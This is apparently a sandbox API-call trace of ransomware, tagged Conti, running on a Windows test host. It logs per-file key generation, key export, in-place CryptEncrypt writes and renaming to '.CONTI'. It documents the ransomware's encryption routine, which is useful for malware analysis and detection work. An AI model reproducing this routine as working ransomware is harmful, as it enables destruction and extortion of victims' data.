	[0120.555] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab"
	[0120.555] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI"
	[0120.555] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.conti")) returned 1
	[0120.556] GetProcessHeap () returned 0x1720000
	[0120.556] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.556] CryptDestroyKey (hKey=0x6b7ef38) returned 1
	[0120.556] GetProcessHeap () returned 0x1720000
	[0120.556] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce150 | out: hHeap=0x1720000) returned 1
	[0120.556] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0122.430] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b514d0 | out: phKey=0x6b514d0*=0x6b7e7b8) returned 1
	[0122.430] CryptExportKey (in: hKey=0x6b7e7b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b514d4, pdwDataLen=0x41ffb3c | out: pbData=0x6b514d4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0123.653] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.002.etl")) returned 0x2020
	[0123.653] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0123.654] GetLastError () returned 0x0
	[0123.654] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=8192) returned 1
	[0123.654] SetFilePointer (in: hFile=0x31c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.654] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.654] SetEndOfFile (hFile=0x31c) returned 1
	[0123.654] SetFilePointer (in: hFile=0x31c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.654] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.654] WriteFile (in: hFile=0x31c, lpBuffer=0x6b514d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b514d4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0125.113] SetFilePointer (in: hFile=0x31c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.114] ReadFile (in: hFile=0x31c, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x2000, lpOverlapped=0x0) returned 1
	[0125.114] CryptEncrypt (in: hKey=0x6b7e7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x2000, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x2010) returned 1
	[0125.114] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.114] WriteFile (in: hFile=0x31c, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x2010, lpOverlapped=0x0) returned 1
	[0129.228] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.228] WriteFile (in: hFile=0x31c, lpBuffer=0x6b514c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b514c8*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0129.228] SetFilePointer (in: hFile=0x31c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.229] CloseHandle (hObject=0x31c) returned 1
	[0129.590] GetProcessHeap () returned 0x1720000
	[0129.590] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.590] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl"
	[0129.590] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl.CONTI"
	[0129.590] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.002.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.002.etl.conti")) returned 1
	[0129.591] GetProcessHeap () returned 0x1720000
	[0129.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.591] CryptDestroyKey (hKey=0x6b7e7b8) returned 1
	[0129.591] GetProcessHeap () returned 0x1720000
	[0129.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740b68 | out: hHeap=0x1720000) returned 1
	[0129.591] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0130.178] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52de8 | out: phKey=0x6b52de8*=0x17c82b0) returned 1
	[0130.178] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52dec, pdwDataLen=0x41ffb3c | out: pbData=0x6b52dec*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0130.179] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico")) returned 0x20
	[0130.179] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.179] GetLastError () returned 0x5
	[0130.179] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0130.179] GetProcessHeap () returned 0x1720000
	[0130.179] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb768 | out: hHeap=0x1720000) returned 1
	[0130.179] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0134.004] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47e40 | out: phKey=0x6b47e40*=0x17c83f0) returned 1
	[0134.004] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47e44, pdwDataLen=0x41ffb3c | out: pbData=0x6b47e44*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0134.004] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml")) returned 0x20
	[0134.005] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.005] GetLastError () returned 0x5
	[0134.005] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.005] GetProcessHeap () returned 0x1720000
	[0134.005] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x68959c8 | out: hHeap=0x1720000) returned 1
	[0134.005] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0134.710] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x17c8470) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x41ffb3c | out: pbData=0x6b479b4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0135.427] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov")) returned 0x20
	[0135.427] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.427] GetLastError () returned 0x5
	[0135.427] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0135.427] GetProcessHeap () returned 0x1720000
	[0135.427] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4a98 | out: hHeap=0x1720000) returned 1
	[0135.427] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0137.765] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ee08 | out: phKey=0x6b4ee08*=0x6b7f6b8) returned 1
	[0137.769] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ee0c, pdwDataLen=0x41ffb3c | out: pbData=0x6b4ee0c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0137.796] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2")) returned 0x26
	[0137.796] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0137.796] GetLastError () returned 0x0
	[0137.796] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=20480) returned 1
	[0137.796] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0137.796] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.796] SetEndOfFile (hFile=0x440) returned 1
	[0137.796] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.796] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.797] WriteFile (in: hFile=0x440, lpBuffer=0x6b4ee0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee0c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0137.798] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.798] ReadFile (in: hFile=0x440, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x5000, lpOverlapped=0x0) returned 1
	[0137.940] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x5000, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x5010) returned 1
	[0137.940] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.940] WriteFile (in: hFile=0x440, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x5010, lpOverlapped=0x0) returned 1
	[0137.940] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.940] WriteFile (in: hFile=0x440, lpBuffer=0x6b4ee00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee00*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0137.940] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.940] CloseHandle (hObject=0x440) returned 1
	[0137.940] GetProcessHeap () returned 0x1720000
	[0137.940] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.940] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT.LOG2" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2"
	[0137.940] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2.CONTI"
	[0137.940] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.CONTI" (normalized: "c:\\users\\default\\ntuser.dat.log2.conti")) returned 1
	[0137.941] GetProcessHeap () returned 0x1720000
	[0137.941] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.941] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.941] GetProcessHeap () returned 0x1720000
	[0137.941] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5a8 | out: hHeap=0x1720000) returned 1
	[0137.941] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0137.941] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b748 | out: phKey=0x6b4b748*=0x6b7f6b8) returned 1
	[0137.941] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b74c, pdwDataLen=0x41ffb3c | out: pbData=0x6b4b74c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0137.942] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zfihmy6ykc.rtf")) returned 0x20
	[0137.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zfihmy6ykc.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0137.942] GetLastError () returned 0x0
	[0137.942] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=14196) returned 1
	[0137.942] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3774
	[0137.942] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.942] SetEndOfFile (hFile=0x440) returned 1
	[0137.942] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.942] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.943] WriteFile (in: hFile=0x440, lpBuffer=0x6b4b74c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4b74c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0138.010] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.010] ReadFile (in: hFile=0x440, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x3774, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x3774, lpOverlapped=0x0) returned 1
	[0138.047] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x3774, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x3780) returned 1
	[0138.047] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.047] WriteFile (in: hFile=0x440, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x3780, lpOverlapped=0x0) returned 1
	[0138.047] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.047] WriteFile (in: hFile=0x440, lpBuffer=0x6b4b740*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4b740*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0138.047] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.048] CloseHandle (hObject=0x440) returned 1
	[0138.048] GetProcessHeap () returned 0x1720000
	[0138.048] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.048] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf") returned="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf"
	[0138.048] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf.CONTI"
	[0138.048] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zfihmy6ykc.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\zFIHmY6YKc.rtf.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\zfihmy6ykc.rtf.conti")) returned 1
	[0138.048] GetProcessHeap () returned 0x1720000
	[0138.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.048] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0138.048] GetProcessHeap () returned 0x1720000
	[0138.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bef70 | out: hHeap=0x1720000) returned 1
	[0138.048] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0138.048] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a998 | out: phKey=0x6b4a998*=0x6b7f6b8) returned 1
	[0138.049] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a99c, pdwDataLen=0x41ffb3c | out: pbData=0x6b4a99c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0138.049] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\2pm7lb9tiwgsj6g0.docx")) returned 0x20
	[0138.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\2pm7lb9tiwgsj6g0.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0138.050] GetLastError () returned 0x0
	[0138.050] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=86347) returned 1
	[0138.050] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1514b
	[0138.050] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.050] SetEndOfFile (hFile=0x440) returned 1
	[0138.050] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.050] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.050] WriteFile (in: hFile=0x440, lpBuffer=0x6b4a99c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4a99c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0138.056] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
